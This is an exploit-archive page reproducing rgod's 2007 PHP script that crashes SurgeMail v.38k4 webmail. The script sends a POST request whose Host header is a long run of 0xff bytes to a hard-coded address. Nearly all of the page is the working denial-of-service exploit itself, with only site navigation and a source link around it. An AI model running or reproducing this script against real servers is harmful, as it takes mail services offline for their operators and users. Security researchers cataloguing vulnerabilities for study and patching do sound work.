Home / os / solaris

surgemail-crash.txt

Posted on 19 December 2007

<?php
/*
SurgeMail v.38k4 webmail Host header denial of service exploit
tested against the windows version

rgod
*/

dl("php_curl.so");
$url = "http://192.168.0.1";
$puf=str_repeat(0xff,0xfff);

$header ="POST / HTTP/1.0
";
$header.="Host: $puf
";
$header.="Connection: Close

";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);

$data = curl_exec($ch); if (curl_errno($ch)) {
print curl_error($ch)."
";
} else {
curl_close($ch);
}

?>

original url: http://retrogod.altervista.org/rgod_surgemail_crash.html

 

TOP

Malware :

Exploits :